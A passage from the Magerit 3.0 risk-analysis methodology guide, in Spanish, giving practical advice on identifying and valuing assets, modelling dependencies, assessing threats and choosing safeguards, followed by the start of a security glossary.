sólo se requiere un estudio de los ficheros afectos a la legislación de datos de carácter personal

•

sólo se requiere un estudio de las garantías de confidencialidad de la información

•

sólo se requiere un estudio de la seguridad de las comunicaciones

•

sólo se requiere un estudio de la seguridad perimetral

•

sólo se requiere un estudio de la disponibilidad de los servicios (típicamente porque se busca el desarrollo de un plan de contingencia)

•

se busca una homologación o acreditación del sistema o de un producto

•

se busca lanzar un proyecto de métricas de seguridad, debiendo identificar qué puntos interesa controlar y con qué grado de periodicidad y detalle

•

etc.

Estas situaciones, frecuentes, se traducen en un ajuste del alcance del análisis. Una estrategia frecuente es identificar como servicio a proporcionar el ámbito que deseamos analizar en detalle y usarlo como perímetro exterior de los activos, incorporando directamente valoraciones inferidas de la información que se maneja y la calidad que se espera del servicio. Además de cubrir un dominio más o menos extenso, pueden darse situaciones en las que se requieren análisis de diferente calado: •

un análisis urgente para determinar los activos críticos

•

un análisis global para determinar las medidas generales

•

un análisis de detalle para determinar salvaguardas específicas para ciertos elementos del sistema de información

•

un análisis de detalle cuantitativo para determinar la oportunidad de un gasto elevado

•

...

En resumen, las tareas que a continuación se detallan hay que adaptarlas 1. horizontalmente al alcance que se requiere (tarea MAR.1) 2. verticalmente a la profundidad oportuna

© Ministerio de Hacienda y Administraciones Públicas

página 86 (de 127)

Magerit 3.0

Consejos prácticos

8.2. Para identificar activos Conviene repetir que sólo interesan los recursos de los sistemas de información que tienen un valor para la Organización, bien en sí mismos, bien porque sobre sus hombros descansan activos de valor. A título de ejemplo, un servidor de presentación web es un activo de escaso valor propio. Esto puede asegurarse porque no es normal que una Organización despliegue un servidor de presentación web salvo que lo necesite para prestar un servicio. Todo su valor es imputado: •

la indisponibilidad del servidor supone la interrupción del servicio; el coste que suponga la interrupción del servicio es el valor de disponibilidad que se le imputará al servidor

•

el acceso no controlado al servidor pone en riesgo el secreto de los datos que presenta; el coste que suponga la pérdida de confidencialidad de los datos es el valor de confidencialidad que se le imputará al servidor

•

... y así con las diferentes dimensiones en consideración

Los intangibles Ciertos elementos de valor de las organizaciones son de naturaleza intangible: •

credibilidad o buena imagen

•

conocimiento acumulado

•

independencia de criterio o actuación

•

intimidad de las personas

•

integridad física de las personas

Estos elementos pueden incorporarse al análisis de riesgos como activos 26 o como elementos de valoración 27 . La cuantificación de estos conceptos es a menudo difícil; pero de una u otra forma nunca puede olvidarse que lo que hay que proteger en última instancia es la misión de la Organización y el valor de ésta reside en estos intangibles como ya se reconocía en Magerit versión 1.0 28 .

Identificación de activos Quizás la mejor aproximación para identificar los activos sea preguntar directamente: •

¿Qué activos son esenciales para que usted consiga sus objetivos?

•

¿Hay más activos que tenga que proteger por obligación legal?

•

¿Hay activos relacionados con los anteriores?

Lo esencial es siempre la información que se maneja y los servicios que se prestan. A veces nos interesa singularizar la diferente información y los diferentes servicios, mientras que otras veces podemos agrupar varias informaciones o varios servicios que son equivalentes a efectos de requisitos de seguridad. Incluso es frecuente hacer paquetes de { información + servicios } que la Dirección entiende como un uno. No siempre es evidente qué es un activo en singular.

26 No todos los autores son unánimes en que sea una buena idea identificar activos intangibles. Es cierto que son activos en el sentido financiero; pero es discutible que sean recursos propiamente dichos del sistema de información. Ocurre que si a los interlocutores se les pregunta durante las entrevistas en términos de valores intangibles de la Organización, se pierde la perspectiva del día a día, pues la mayor parte de los miembros de la Organización tienen objetivos más concretos y cercanos sobre los que sí pueden emitir una opinión fundada. 27 Ver “Catálogo de Elementos”, capítulo “4. Criterios de valoración”. 28 Ver Magerit versión 1.0, “Guía de Procedimientos” / “3. Submodelo de Elementos” / “3.4. Impactos” / ”3.4.3. Tipos”.

© Ministerio de Hacienda y Administraciones Públicas

página 87 (de 127)

Magerit 3.0

Consejos prácticos Es habitual y práctico identificar lo que podríamos llamar subsistemas. Un subsistema típico es un equipo informático, que bajo ese nombre contiene el hardware, los soportes de información (discos), periféricos, sistema operativo y aplicaciones (software) de base tales como ofimática, antivirus, etc. Si es posible, trate ese conglomerado como un activo único. Si por ejemplo en su unidad tiene 300 puestos de trabajo PC, todos idénticos a efectos de configuración y datos que manejan, no es conveniente analizar 300 activos idénticos. Baste analizar un PC genérico que cuya problemática representa la de todos. Agrupar simplifica el modelo. Una buena idea es tener tantos activos como perfiles de configuración de equipos personales. Otras veces se presenta el caso contrario, un servidor central que se encarga de mil funciones: servidor de ficheros, de mensajería, de la intranet, del sistema de gestión documental y ... En este caso conviene segregar los servicios prestados como servicios (internos) independientes. Sólo cuando se llegue al nivel de equipamiento físico habrá que hacer confluir en un único equipo todos los servicios. Si en el futuro se consigue segregar servicios entre varios servidores, entonces es fácil revisar el modelo de valor y dependencias.

Durante la fase de identificación de activos es frecuente que haya ciclos de expansión en los que los activos complejos se desagregan en activos más sencillos, y fases de compresión, en las que muchos activos se agrupan bajo un activo único (es frecuente hablar de subsistemas). Estos ciclos se repiten recurrentemente hasta que — el conjunto de activos sea lo bastante detallado como para no olvidarnos de nada — el número de activos no sea tan grande que nos perdamos — la denominación de los activos no sea ambigua y recoja la terminología habitual en la Organización en pocas palabras, el modelo debe ser manejable y fácil de explicar a los que van a tomar decisiones a partir de nuestras conclusiones.

8.3. Para descubrir y modelar las dependencias entre activos Siempre hay que empezar poniendo en lo más alto la información y los servicios. Depende de cada circunstancia el que sea antes la información o los servicios; pero lo más frecuente es que el valor esté en la información y deba ser respetado por los servicios que la manejan.

Ilustración 18. Dependencias al nivel superior

A veces es más difícil de lo esperado porque los responsables de los activos suelen estar más preocupados por el encadenamiento funcional entre activos que por la dependencia en el sentido de propagación de valor (requisitos de seguridad). Es necesario transmitir al interlocutor que no se busca qué es necesario para que el sistema funciones, sino al revés, se busca dónde puede fallar el sistema o, más precisamente, dónde puede verse comprometida la seguridad de los activos.

© Ministerio de Hacienda y Administraciones Públicas

página 88 (de 127)

Magerit 3.0

Consejos prácticos

•

Si unos datos son importantes por su confidencialidad, se necesita saber en qué sitios van a residir dichos datos y por qué lugares van a circular: en esos puntos pueden ser revelados.

•

Si unos datos son importantes por su integridad, se necesita saber en qué sitios van a residir dichos datos y por qué lugares van a circular: en esos puntos pueden ser alterados.

•

Si un servicio es importante por su disponibilidad, se necesita saber qué elementos se usan para prestar dicho servicio: el fallo de esos elementos detendría el servicio.

Estas consideraciones pueden plantearse con argumentos del tipo: •

si usted quisiera acceder a estos datos, ¿dónde atacaría para robarlos?

•

si usted quisiera detener este servicio, ¿dónde atacaría para estropearlo?

Este planteamiento de “póngase en el lugar del atacante” es el que da pie a las técnicas denominadas “árboles de ataque” 29 que van parejas a lo que en esta metodología se denominan dependencias. En efecto, un activo puede ser atacado directamente o indirectamente a través de otro activo del que dependa. Las anteriores consideraciones pueden desembocar en un diagrama “plano” de dependencias que se puede (y conviene a efectos prácticos) convertir en un árbol más compacto. Así, es normal decir que los servicios dependen del equipamiento, que depende a su vez de los locales donde se ubican los equipos, sin necesidad de explicitar que los servicios dependen de los locales 30 . Es frecuente identificar “servicios internos” o “servicios horizontales” que son agrupaciones de activos para una cierta función. Estos servicios intermedios son eficaces para compactar el grafo de dependencias, pues las dependencias de dichos servicios se interpretan sin ambigüedad como dependencia de todos los elementos que prestan el servicio.

Ilustración 19. Servicios internos

Cuando se usen diagramas de flujo de datos o diagramas de procesos, no debe preocupar tanto la ruta que siguen los datos como el conjunto (desordenado) de elementos que intervienen. Un proceso depende de todos los activos que aparecen en su diagrama. Unos datos dependen de todos los sitios por donde pasen. Tanto en unos como en otros diagramas es frecuente encontrar descripciones jerarquizadas donde un proceso se subdivide en niveles de mayor detalle. Estas jerarquías de diagramas pueden ayudar a elaborar el grafo de dependencias. Hay organizaciones donde está muy clara la información que hay que tratar y a partir de ella podemos identificar los servicios que la tratan y el equipamiento desplegado.

29 Ver “Guía de Técnicas”. 30 En la "Guía de Técnicas" encontrará el modelo algorítmico para calcular las dependencias totales entre activos a partir de las dependencias directas.

© Ministerio de Hacienda y Administraciones Públicas

página 89 (de 127)

Magerit 3.0

Consejos prácticos

Hay organizaciones más centradas en los servicios que prestan, pudiendo partir de una enumeración de servicios para asociarles la información que manejan y el equipamiento desplegado. Hay veces que el análisis empieza por el inventariado de equipamiento y luego se va buscando qué servicios se prestan y qué información se trata en el sistema.

Errores típicos No es correcto decir que una aplicación depende de la información que maneja. El razonamiento de quien tal afirma es que “la aplicación no funcionaría sin datos”, lo que es correcto; pero no es lo que interesa reflejar. Más bien es todo lo contrario: la [seguridad de la] información depende de la aplicación que la maneja. En términos de servicio, se puede decir que la aplicación no vale para nada sin datos. Pero como el valor es una propiedad de la información, y la información es alcanzable por medio de la aplicación, son los requisitos de seguridad de la información los que hereda la aplicación. Luego la información depende de la aplicación. En otras palabras: a través de la aplicación puede accederse a la información, convirtiéndose la aplicación en la vía de ataque. Dado que datos y aplicaciones suelen aunar esfuerzos para la prestación de un servicio, el valor del servicio se transmite tanto a los datos como a las aplicaciones intervinientes. mal

bien

aplicación → información información → aplicación Tabla 9. Dependencias de la información y las aplicaciones

En este contexto, a veces conviene distinguir entre los datos y la información. La información es un bien esencial, siendo los datos una concreción TIC de la información. La información es valiosa, lo demás es valioso en la medida en que contiene información. La información que maneja un sistema o bien se pone por encima de los servicios, o bien se agrupa 1. información → servicios → equipamiento (incluyendo datos, aplicaciones, equipos, …) 2. { información + servicios } → equipamiento (incluyendo datos, aplicaciones, equipos, …) No es correcto decir que una aplicación dependa del equipo donde se ejecuta. El razonamiento de quien tal afirma es que “la aplicación no funcionaría sin equipo”, lo que es correcto; pero no es lo que interesa reflejar. Si tanto la aplicación como el equipo son necesarios para prestar un servicio, se debe decir explícitamente, sin buscar caminos retorcidos. mal

bien

•

servicio → aplicación • servicio → aplicación

•

aplicación → equipo • servicio → equipo

Tabla 10. Dependencias de los servicios

© Ministerio de Hacienda y Administraciones Públicas

página 90 (de 127)

Magerit 3.0

Consejos prácticos

Ilustración 20. Jerarquía de dependencias

Los errores comentados a veces pasan desapercibidos mientras el sistema es muy reducido (sólo hay un servicio, una aplicación y un equipo); pero aparecen en cuanto el sistema crece. Por ejemplo, una aplicación X puede ejecutarse en diferentes equipos con diferentes datos para prestar diferentes servicios. Resulta entonces imposible relacionar la aplicación con uno o más equipos, salvo considerando cada caso

Ilustración 21. Dependencias entre activos para la prestación de unos servicios

¿Están bien modeladas las dependencias? Establecer dependencias es una tarea delicada que puede acabar mal. Antes de dar por bueno un modelo de dependencias hay que trazar para cada activo todos los activos de los que depende directa o indirectamente. Y se debe responder positivamente a las preguntas de si •

¿Están todos los que son? Es decir, si se han identificado todos los activos en los que puede ser atacado indirectamente el activo valorado.

•

¿Son todos los que están? Es decir, si realmente el activo valorado puede ser atacado en todos esos activos de los que depende

Como la relación de dependencia propaga el valor acumulado, encontrar un activo sin valor acumulado es síntoma de que las dependencias están mal modeladas o, simplemente, que el activo es irrelevante. En otras palabras: para saber si las dependencias están bien establecidas, estudie el valor acumulado.

8.4. Para valorar activos Siempre conviene valorar la información que constituye la razón de ser del sistema de información. Si se han modelado servicios esenciales (prestados a usuarios externos al dominio de análisis), conviene valorarlos igualmente. © Ministerio de Hacienda y Administraciones Públicas

página 91 (de 127)

Magerit 3.0

Consejos prácticos

Es fácil identificar activos de tipo información y valorarlos siguiendo clasificaciones pautadas como su carácter personal o su clasificación de seguridad. Pero pasa a ser mucho más delicado valorar datos de tipo comercial u operacional porque hay que ir a las consecuencias del daño sufrido. Por ello en las metodologías de gestión de riesgos se requiere que la Organización establezca unos criterios para valorar, criterios que trascienden a los analistas y que deben proceder de los órganos superiores que son los encargados de valorar el sistema y de recibir los resultados del análisis. El resto de los activos puede frecuentemente pasar sin valorar, pues su valor más importante es soportar la información y/o los servicios y de ese cálculo se encargan las relaciones de dependencias. No obstante, si considera oportuno valorar otro tipo de activos ... Los activos más sencillos de valorar son aquellos que se adquieren en un comercio. Si se avería, hay que poner otro. Esto cuesta dinero y tiempo (o sea, más dinero). Se habla de un coste de reposición. Salvo notorias excepciones, frecuentemente ocurre que el coste de los activos físicos es despreciable frente a otros costes, pudiendo obviarse. Es difícil valorar las personas, en general; pero si un puesto supone una formación lenta y trabajosa, hay que tener en cuenta que la persona que desempeña ese puesto se convierte en muy valiosa, pues su “coste de reposición” es notable. En cualquier caso, para valorar un activo se debe identificar al responsable, que será la persona adecuada para valorar el activo. A este responsable hay que ayudarle con tablas de valoración como las del capítulo 4 del "Catálogo de Elementos" que, adaptadas al caso concreto, permitan traducir la percepción de valor en una medida cualitativa o cuantitativa del mismo. A menudo no existe el responsable único y singular de un activo y/o servicio, sino que varias personas dentro de la Organización tienen opinión cualificada al respecto. Hay que oírlas todas. Y llegar a un consenso. Si el consenso no es obvio, puede requerir un careo: junte a los que opinan e intente que lleguen a una opinión común un Delphi 31 : mande cuestionarios a los que opinan e intente que converjan a una opinión común En los procesos de valoración de activos es frecuente recurrir a personas diferentes para valorar activos diferentes. Y es frecuente que cada entrevistado considere sus activos como de la máxima importancia; tanto más frecuente cuanto más especializado esté el entrevistado. Como muchas valoraciones son estimaciones de valor, hay que cuidar que todo el mundo use la misma escala de estimar. Por ello es importante usar una tabla como la del capítulo 4 del "Catálogo de Elementos", directamente o adaptada al caso concreto. Y es importante que tras haber preguntado a los que entienden de cada activo, todos reciban una copia de la valoración global del sistema para que aprecien el valor relativo de “sus activos” y opinen en contexto.

Datos de carácter personal Los datos de carácter personal están tipificados por leyes y reglamentos, requiriendo de la Organización que adopte una serie de medidas de protección independientes del valor del activo 32 . La forma más realista de enfrentarse a los activos de carácter personal es caracterizarlos como tales en el nivel que corresponda y, además, determinar su valor: el daño que supondría su revelación o alteración indebida. Con esta aproximación, el análisis de impactos y riesgos permitirá proteger los datos tanto por obligación legal como por su propio valor.

31 Ver "Guía de Técnicas". 32 Es posible aproximarse a la valoración de los activos que son de carácter personal cuantificando la multa que impondría la Agencia de Protección de Datos. Esta aproximación no vale en un análisis cualitativo. En un análisis cuantitativo, esta aproximación parte de la hipótesis de que lo peor que puede pasar con ese dato es ser motivo de multa.

© Ministerio de Hacienda y Administraciones Públicas

página 92 (de 127)

Magerit 3.0

Consejos prácticos

8.5. Para identificar amenazas La tarea aparece como imposible: para cada activo, en cada dimensión, identificar amenazas. Se puede partir de la experiencia pasada, propia o de organizaciones similares. Lo que ha ocurrido puede repetirse y, en cualquier caso, sería impresentable no tenerlo en cuenta. Complementariamente, un catálogo de amenazas como el incluido en el "Catálogo de Elementos" ayuda a localizar lo que conviene considerar en función del tipo de activo y de las dimensiones en las que tiene un valor propio o acumulado. A menudo se recurre a idear escenarios de ataque que no son sino dramatizaciones de cómo un atacante se enfrentaría a nuestros sistemas. Esta técnica es la que a veces se denomina “árboles de ataque”. Póngase en la piel del atacante e imagine qué haría con sus conocimientos y su capacidad económica. Puede que tenga que plantearse diferentes situaciones dependiendo del perfil técnico del atacante o de sus recursos técnicos y humanos. Estas dramatizaciones son interesantes para poder calcular impactos y riesgos; pero además serán muy útiles a la hora de convencer a la alta dirección y a los usuarios de por qué una amenaza no es teórica sino muy real. Es más, cuando evalúe las salvaguardas puede ser conveniente revisar estos escenarios de ataque. Es habitual que las herramientas de soporte al análisis de riesgos aporten perfiles típicos para apoyar en esta tarea.

8.6. Para valorar amenazas La tarea es desmoralizadora: para cada activo en cada dimensión, determinar la degradación que causarían y la probabilidad de ocurrencia. Siempre que sea posible conviene partir de datos estándar. En el caso de desastres naturales o accidentes industriales, se puede disponer de series históricas, genéricas o del lugar en el que se ubican los equipos de nuestro sistema de información bajo estudio. Probablemente también se disponga de un historial que informe de lo que es frecuente y de lo que “no pasa nunca”. Más complicado es calificar los errores humanos; pero la experiencia permite ir aquilatando valores realistas. Y lo más complejo es calificar los ataques deliberados pues dependen de la suerte, buena o mala. Hay muchos motivos que agudizan el peligro de una amenaza: •

que no requiera grandes conocimientos técnicos por parte del atacante 33

•

que no requiera gran inversión en equipo por parte del atacante 34

•

que haya un enorme beneficio económico en juego (que el atacante puede enriquecerse)

•

que haya un enorme beneficio en juego (que el atacante pueda salir fuertemente beneficiado, en su estima, en su conocimiento por todo el mundo, ...); por lo que más quiera, evite los retos y jamás alardee de que su sistema de información es invulnerable: no lo es y no tiene gracia que se lo demuestren

•

que haya un mal ambiente de trabajo, semilla de empleados descontentos que se vengan a través de los sistemas, simplemente para causar daño

•

que haya una mala relación con los usuarios externos, que se vengan a través de nuestros sistemas

33 Hay que estar atentos a la “comercialización” de las herramientas de ataque pues un ataque puede requerir un gran experto para realizarlo manualmente (es decir, es poco frecuente); pero si el experto empaqueta su ataque en una herramienta con una simple interfaz gráfica, usar la herramienta se convierte en un deporte que no requiere del atacante sino ausencia de escrúpulos (es decir, la amenaza ha pasado a ser muy frecuente). 34 Hay que tener muy en cuenta que Internet es una red inmensa de poder de cómputo. Si alguien sabe cómo organizarse, no es difícil poner a la red a “trabajar para mí” lo que supone que el atacante disponga de muchísimos más medios efectivos que el atacado.

© Ministerio de Hacienda y Administraciones Públicas

página 93 (de 127)

Magerit 3.0

Consejos prácticos

Partiendo de un valor estándar, hay que ir aumentando o disminuyendo sus calificaciones de frecuencia y degradación hasta reflejar lo más posible el caso concreto. A menudo no es evidente determinar el valor correcto y es necesario recurrir a simulaciones que orienten. El uso de algún tipo de herramienta es muy útil para estudiar las consecuencias de un cierto valor, lo que algunos autores denominan la sensibilidad del modelo a cierto dato. Si se aprecia que los resultados cambian radicalmente ante pequeñas alteraciones de una estimación de frecuencia o degradación, hay que (1) ser realistas y (2) prestar extrema atención a por qué el sistema es tan sensible a algo tan concreto y tomar medidas orientadas a independizar el sistema; es decir, a no hacer crítica una cierta amenaza. Recuerde que la frecuencia no afecta al impacto, por lo que estudiando el impacto se puede ajustar la degradación y, posteriormente, estudiando el riesgo se puede ajustar la frecuencia. Nunca se debe aceptar un valor injustificado de degradación en la esperanza de compensarlo con la frecuencia, pues la estimación del impacto es importante en sí misma, además de la de riesgo. Sea cual sea la decisión final que se tome para estimar un valor, hay que documentarla pues antes o después se pedirán explicaciones, sobre todo si como consecuencia se van a recomendar salvaguardas costosas. Es habitual que las herramientas de soporte al análisis de riesgos aporten perfiles típicos para apoyar en esta tarea.

8.7. Para seleccionar salvaguardas Probablemente la única forma es tirar de catálogo. Use un (sistema) experto que le ayude a ver qué solución es adecuada para cada combinación de •

tipo de activo

•

amenaza a la que está expuesto

•

dimensión de valor que es motivo de preocupación

•

nivel de riesgo

A menudo encontrará muchas soluciones para un problema, con diferentes calidades. En estos casos debe elegir una solución proporcionada a los niveles de impacto y riesgo calculados. Muchas salvaguardas son de bajo coste, bastando configurar adecuadamente los sistemas u organizar normativa para que el personal haga las cosas de forma adecuada. Pero algunas contra medidas son realmente costosas (en su adquisición, en su despliegue, en su mantenimiento periódico, en la formación del personal a su cargo, ...). En estos casos conviene ponderar si el coste de la salvaguarda no supera el riesgo potencial; es decir, tomar siempre decisiones de gasto que supongan un ahorro neto. Por último, y no menos importante, a la hora de desplegar salvaguardas hay que considerar su facilidad de uso. Lo ideal es que la salvaguarda sea transparente de forma que el usuario no tenga que hacer nada o, en su defecto, cuanto menos haya que hacer, mejor. Simplemente porque una salvaguarda de complejo manejo requiere personal especializado y añade a las amenazas que ya tenía el sistema la amenaza que supone su defectuosa utilización.

8.8. Aproximaciones sucesivas El lector ya se habrá percibido de que el análisis de riesgos puede ser muy laborioso, requiriendo tiempo y esfuerzo. Además, hay que introducir muchos elementos que no son objetivos, sino estimaciones del analista, lo que implica que haya que explicar y consensuar lo que significa cada cosa para no estar expuestos a impactos o riesgos que se ignoran o se infravaloran, ni convertir la paranoia en un dispendio de recursos injustificados. Si hay que ser prácticos y efectivos, conviene realizar aproximaciones sucesivas. Se empieza por un análisis somero, de alto nivel, identificando rápidamente lo más crítico: activos de gran valor, vulnerabilidades manifiestas o, simplemente, recomendaciones de libro de texto porque no hay nada más prudente que aprender en cabeza ajena, aprovechando la experiencia de los demás. Este análisis de riesgos es imperfecto, evidentemente; pero cabe confiar en que lleve en la direc© Ministerio de Hacienda y Administraciones Públicas

página 94 (de 127)

Magerit 3.0

Consejos prácticos

ción correcta. Los párrafos siguientes dan indicaciones de cómo orientarse rápidamente hacia el objetivo final: tener impactos y riesgos bajo control. Nótese que estas aproximaciones imperfectas permiten desplegar rápidamente sistemas razonablemente protegidos cuando no hay tiempo para un análisis de riesgos en toda su plenitud. Cuando, con tiempo, se llegue a la fase de gestión de riesgos tras un análisis exhaustivo, muy probablemente ocurra que muchas salvaguardas están ya dispuestas, necesitándose sólo la introducción de algunas nuevas y/o la mejora de la eficacia de las existentes. No es pues trabajo perdido seguir estas aproximaciones informales.

8.8.1. Protección básica Es frecuente oír hablar de medidas básicas de protección (baseline) que deberían implantarse en todos los sistemas, salvo que se demuestre que no son pertinentes a algún caso particular. Por favor, no discuta; ni lo dude: a sus sistemas de información no debe poder acceder cualquiera en cualquier momento. Puede protegerlos física o lógicamente, poniéndolos en una sala donde no entra cualquiera, o imponiendo una identificación de acceso lógico. Pero ¡protéjalos! Este tipo de razonamientos se pueden aplicar con frecuencia y llevan a desplegar un mínimo de salvaguardas “de puro sentido común”. Una vez avanzado lo que es obvio y no se debería nunca discutir, se puede avanzar a niveles más elaborados, específicos de cada sistema. Para aplicar un tratamiento básico se requiere un catálogo de salvaguardas. Existen numerosas fuentes, entre las que cabe destacar: •

normas internacionales, por ejemplo [ISO 27002]

•

normas sectoriales

•

normas corporativas, especialmente frecuentes en pequeñas delegaciones de grandes organizaciones

Las ventajas de protegerse por catálogo son: •

es muy rápido

•

cuesta menos esfuerzo que ponerse a analizar y decidir

•

se logra un nivel homogéneo con otras organizaciones parecidas

Los inconvenientes de protegerse por catálogo son: •

el sistema puede protegerse frente a amenazas que no padece, lo que supone un gasto injustificado

•

el sistema puede estar inadecuadamente protegido frente a amenazas reales

En general, con la protección básica no se sabe lo que se hace y, aún estando probablemente en la senda correcta, no hay medida de si falta o si sobra. No obstante, puede ser un punto de partida útil para refinar posteriormente. La protección por catálogo puede refinarse un poco considerando el valor y la naturaleza de los activos o cuantificando las amenazas.

En base a la tipificación de los activos Si usted tiene datos de carácter personal calificados de nivel alto, tiene que cifrarlos. Si usted tiene datos clasificados como confidenciales, tiene que etiquetarlos y cifrarlos. Aparte de cumplir con la legislación y normativa específica, habrá llevado a cabo una especie de “vacunación preventiva” de activos que seguro que son importantes. Si usted tiene una red local conectada al exterior, tiene que poner un cortafuegos en el punto de conexión. etc. © Ministerio de Hacienda y Administraciones Públicas

página 95 (de 127)

Magerit 3.0

Consejos prácticos

En base al valor de los activos Si usted tiene todos los datos operacionales en soporte informático, tiene que hacer copias de seguridad. Si usted tiene equipos informáticos, manténgalos al día con las actualizaciones del fabricante. Lo que vale hay que cuidarlo, por si le pasara algo, sin entrar en muchas precisiones de qué les puede pasar exactamente.

En base a las amenazas Si se trata de un sistema de la llamada administración electrónica (tramitación administrativa no presencial) o si los sistemas se usan para comerciar electrónicamente (compras y ventas no presenciales), registre cuidadosamente quién hace qué en cada momento pues se enfrentará a incidencias con los usuarios, teniendo que determinar quién tiene razón y quien paga los perjuicios. También habrá quien quiera usar sus servicios sin tener derecho a ello (fraude). Lo que se puede necesitar, es necesario, y parte de las responsabilidades del responsable de seguridad es disponer de la información correcta cuando haga falta.

En base a la exposición Si usted tiene una red de equipos antiguos y se conecta a Internet, debe instalar un cortafuegos. Si tiene usted una aplicación en producción, debe mantenerla al día aplicando mejoras y corrigiendo los defectos anunciados por el fabricante. Cuando se sabe que los sistemas de información son vulnerables, hay que protegerlos.

© Ministerio de Hacienda y Administraciones Públicas

página 96 (de 127)

Magerit 3.0

Glosario

Apéndice 1. Glosario Diferentes autores u organizaciones definen los mismos términos de diferentes formas y maneras. Las siguientes tablas recopilan definiciones acordes al sentido en el cual se emplean los términos en esta guía metodológica, tanto en español como en inglés. De las múltiples definiciones se ha seleccionado la preferida en Magerit v2, resaltándola en negrita. Cuando la definición procede de alguna fuente, se cita esta. La ausencia de fuente indica que es definición propia de esta guía. Salvo razones en contra, siempre se ha preferido mantener la definición propuesta en Magerit v1 (1997).

A1.1. Términos en español Aceptación del riesgo

Decisión informada a favor de tomar un riesgo. [UNE-ISO Guía 73:2010]

Acreditación

Acción de facultar a un sistema o red de información para que procese datos sensibles, determinando el grado en el que el diseño y la materialización de dicho sistema cumple los requerimientos de seguridad técnica preestablecidos. [CESID:1997] Accreditation: Formal declaration by the responsible management approving the operation of an automated system in a particular security mode using a particular set of safeguards. Accreditation is the official authorization by management for the operation of the system, and acceptance by that management of the associated residual risks. Accreditation is based on the certification process as well as other management considerations. [154431:2005]

Activo

Componente o funcionalidad de un sistema de información susceptible de ser atacado deliberada o accidentalmente con consecuencias para la organización. Incluye: información, datos, servicios, aplicaciones (software), equipos (hardware), comunicaciones, recursos administrativos, recursos físicos y recursos humanos. [UNE 71504:2008] Recursos del sistema de información o relacionados con éste, necesarios para que la Organización funcione correctamente y alcance los objetivos propuestos por su dirección. [Magerit: 2006] Recursos del sistema de información o relacionados con éste, necesarios para que la Organización funcione correctamente y alcance los objetivos propuestos por su dirección. [Magerit:1997] Bienes: En la teoría de los valores, la realidad que posee un valor positivo y por ello es estimable. [DRAE] Asset: A component or part of the total system. Assets may be of four types: physical, application software, data, or end user services. [CRAMM:2003] Asset: Something of value to the enterprise. [Octave:2003] Asset: Any information resource with value that is worth protecting or preserving. [TDIR:2003] Assets: Information or resources to be protected by the countermeasures of a Target of Evaluation. [CC:1999]

Amenaza

Causa potencial de un incidente que puede causar daños a un sistema de información o a una organización. [UNE 71504:2008] Potential cause of an unwanted incident, which may result in harm to a system or organization. [ISO/IEC 27000:2009]

© Ministerio de Hacienda y Administraciones Públicas

página 97 (de 127)

Magerit 3.0 Aceptación del riesgo

Glosario Decisión informada a favor de tomar un riesgo. [UNE-ISO Guía 73:2010] Eventos que pueden desencadenar un incidente en la Organización, produciendo daños materiales o pérdidas inmateriales en sus activos. [Magerit:2006] Eventos que pueden desencadenar un incidente en la Organización, produciendo daños materiales o pérdidas inmateriales en sus activos. [Magerit:1997] Condición del entorno del sistema de información que, dada una oportunidad, podría dar lugar a que se produjese una violación de la seguridad. [CESID:1997] Threat: Any circumstance or event with the potential to adversely impact agency operations (including mission, functions, image, or reputation), agency assets, or individuals through an information system via unauthorized access, destruction, disclosure, modification of information, and/or denial of service. [800-53:2009] Threat: Any circumstance or event with the potential to adversely impact an information system through unauthorized access, destruction, disclosure, modification of data, and/or denial of service. [CNSS:2003] Threat: An activity, deliberate or unintentional, with the potential for causing harm to an automated information system or activity. [TDIR:2003] Threat: Any circumstance or event that could harm a critical asset through unauthorized access, compromise of data integrity, denial or disruption of service, or physical destruction or impairment. [CIAO:2000] A threat is an indication of a potential undesirable event. [NSTISSI:1998] Threat: A potential violation of security. [7498-2:1989]

Análisis de impacto Estudio de las consecuencias que tendría una parada de X tiempo sobre la Organización. Análisis de riesgos Proceso sistemático para estimar la magnitud de los riesgos a que está expuesta una Organización. Análisis del riesgo – Proceso que permite comprender la naturaleza del riesgo y determinar el nivel de riesgo. [UNE-ISO Guía 73:2010] Identificación de las amenazas que acechan a los distintos componentes pertenecientes o relacionados con el sistema de información (conocidos como ‘activos’); para determinar la vulnerabilidad del sistema ante esas amenazas y para estimar el impacto o grado de perjuicio que una seguridad insuficiente puede tener para la organización, obteniendo cierto conocimiento del riesgo que se corre. [Magerit:1997] Risk assessment: Process of evaluating the risks of information loss based on an analysis of threats to, and vulnerabilities of, a system, operation or activity. [OPSEC] Risk Analysis: Examination of information to identify the risk to an information system. [CNSS:2003] Risk Assessment:: Process of analyzing threats to and vulnerabilities of an information system, and the potential impact resulting from the loss of information or capabilities of a system. This analysis is used as a basis for identifying appropriate and cost-effective security countermeasures. [CNSS:2003] Risk Analysis: An analysis of system assets and vulnerabilities to establish an expected loss from certain events based on estimated probabilities of occurrence. [TDIR:2003] © Ministerio de Hacienda y Administraciones Públicas

página 98 (de 127)

Magerit 3.0 Aceptación del riesgo

Glosario Decisión informada a favor de tomar un riesgo. [UNE-ISO Guía 73:2010] Risk Assessment: A study of vulnerabilities, threats, likelihood, loss or impact, and theoretical effectiveness of security measures. The process of evaluating threats and vulnerabilities, known and postulated, to determine expected loss and establish the degree of acceptability to system operations. [TDIR:2003]

Ataque

Intento de destruir, exponer, alterar o inhabilitar un sistema de información o la información que el sistema maneja, o violar alguna política de seguridad de alguna otra manera. [ISO/IEC 18043:2006] Cualquier acción deliberada encaminada a violar los mecanismos de seguridad de un sistema de información. [CESID:1997]

Auditoría de seguridad

Estudio y examen independiente del historial y actividades de un sistema de información, con la finalidad de comprobar la idoneidad de los controles del sistema, asegurar su conformidad con la estructura de seguridad y procedimientos operativos establecidos, a fin de detectar brechas en la seguridad y recomendar cambios en los procedimientos, controles y estructuras de seguridad.

Autenticidad

Propiedad o característica consistente en que una entidad es quien dice ser o bien que garantiza la fuente de la que proceden los datos. [UNE 71504:2008] Aseguramiento de la identidad u origen. [Magerit:2006] Autenticación: Característica de dar y reconocer la autenticidad de los activos del dominio (de tipo información) y/o la identidad de los actores y/o la autorización por parte de los autorizadores, así como la verificación de dichas tres cuestiones. [Magerit:1997] Authenticity: Having an undisputed identity or origin. [OPSEC] Authenticity: The property of being genuine and being able to be verified and trusted; confidence in the validity of a transmission, a message, or message originator. [800-53:2009]

Certificación

Confirmación del resultado de una evaluación, y que los criterios de evaluación utilizados fueron correctamente aplicados.

Confidencialidad

